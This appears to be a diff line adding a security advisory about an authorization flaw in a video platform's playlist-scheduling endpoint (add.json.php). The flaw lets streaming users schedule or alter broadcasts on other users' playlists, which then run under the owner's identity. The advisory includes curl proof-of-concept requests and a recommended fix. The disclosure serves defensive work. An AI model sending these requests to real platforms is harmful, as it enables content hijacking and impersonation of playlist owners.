+ "details": "## Summary\n\nThe `plugin/PlayLists/View/Playlists_schedules/add.json.php` endpoint allows any authenticated user with streaming permission to create or modify broadcast schedules targeting any playlist on the platform, regardless of ownership. When the schedule executes, the rebroadcast runs under the victim playlist owner's identity, allowing content hijacking and stream disruption.\n\n## Details\n\nThe endpoint at `plugin/PlayLists/View/Playlists_schedules/add.json.php` performs only a capability check, not an ownership check:\n\n```php\n// add.json.php:14 — only checks if user CAN stream, not if they OWN the playlist\nif (!User::canStream()) {\n forbiddenPage(__(\"You cannot livestream\"));\n}\n\n// Line 18-19: attacker-controlled playlists_id is used directly\n$o = new Playlists_schedules(@$_POST['id']);\n$o->setPlaylists_id($_POST['playlists_id']);\n```\n\nThe `Playlists_schedules::save()` method (line 182) only validates that `playlists_id` is non-empty — no ownership check:\n\n```php\npublic function save()\n{\n if(empty($this->playlists_id)){\n _error_log(\"Playlists_schedules::save playlists_id is empty\");\n return false;\n }\n // ...\n return parent::save();\n}\n```\n\nWhen the schedule triggers via `plugin/PlayLists/run.php`, the rebroadcast executes under the **playlist owner's** user ID, not the schedule creator's:\n\n```php\n// run.php:55 — uses playlist owner's ID\n$pl = new PlayList($ps->playlists_id);\n$response = Rebroadcaster::rebroadcastVideo(\n $ps->current_videos_id,\n $pl->getUsers_id(), // <-- victim's user ID\n Playlists_schedules::getPlayListScheduledIndex($value['id']),\n $title\n);\n```\n\nBy contrast, all other playlist modification endpoints properly verify ownership via `PlayLists::canManagePlaylist()`:\n\n```php\n// PlayLists.php:55-68\nstatic function canManagePlaylist($playlists_id)\n{\n if (!User::isLogged()) return false;\n if (self::canManageAllPlaylists()) return true;\n $pl = new PlayList($playlists_id);\n if ($pl->getUsers_id() == User::getId()) return true;\n return false;\n}\n```\n\nThis check is used in `saveShowOnTV.json.php:43`, `playListToSerie.php:24`, and `getPlaylistButtons.php:34`, but is entirely absent from `add.json.php`.\n\nAdditionally, the `delete.json.php` endpoint requires `User::isAdmin()` (line 11), making the disparity with `add.json.php` even clearer.\n\nWhen providing an existing schedule `id` via POST (line 18), no ownership check is performed on the existing schedule record either, allowing modification of any schedule on the platform.\n\n## PoC\n\n```bash\n# Step 1: Authenticate as a normal user with streaming permission\n# Obtain PHPSESSID via login\n\n# Step 2: Create a broadcast schedule targeting another user's playlist\n# Replace VICTIM_PLAYLIST_ID with the target playlist ID (enumerable via API)\ncurl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \\\n -H 'Cookie: PHPSESSID=<attacker_session>' \\\n -d 'playlists_id=<VICTIM_PLAYLIST_ID>&name=hijacked&start_datetime=2026-03-26+12:00:00&finish_datetime=2026-03-27+12:00:00&loop=1&repeat=d¶meters={}'\n\n# Expected: {\"error\":false} — schedule created for victim's playlist\n# The schedule will execute via run.php under the victim's user identity\n\n# Step 3: Modify an existing schedule by providing its id\ncurl -X POST 'https://target.com/plugin/PlayLists/View/Playlists_schedules/add.json.php' \\\n -H 'Cookie: PHPSESSID=<attacker_session>' \\\n -d 'id=<EXISTING_SCHEDULE_ID>&playlists_id=<VICTIM_PLAYLIST_ID>&name=modified&start_datetime=2026-03-26+00:00:00&finish_datetime=2026-03-28+00:00:00&loop=1&repeat=d¶meters={}'\n```\n\n## Impact\n\n- **Content hijacking:** Attacker can force-broadcast content from any user's playlist, including private or paid content\n- **Stream disruption:** Scheduled rebroadcast can interfere with a victim's ongoing live streams\n- **Identity abuse:** Rebroadcast executes under the victim's user identity, making it appear the victim initiated the broadcast\n- **Resource consumption:** Scheduled broadcasts consume the victim's server bandwidth allocation\n- **Schedule tampering:** Existing schedules can be modified or redirected by any streaming user\n\n## Recommended Fix\n\nAdd ownership validation in `add.json.php` before saving:\n\n```php\n// After line 16 (canStream check), add:\n$playlists_id = intval($_POST['playlists_id']);\nif (!PlayLists::canManagePlaylist($playlists_id)) {\n forbiddenPage(__(\"You cannot manage this playlist\"));\n}\n\n// When editing existing schedules, also verify ownership of the existing record:\nif (!empty($_POST['id'])) {\n $existing = new Playlists_schedules(intval($_POST['id']));\n if (!PlayLists::canManagePlaylist($existing->getPlaylists_id())) {\n forbiddenPage(__(\"You cannot modify this schedule\"));\n }\n}\n```",
0 commit comments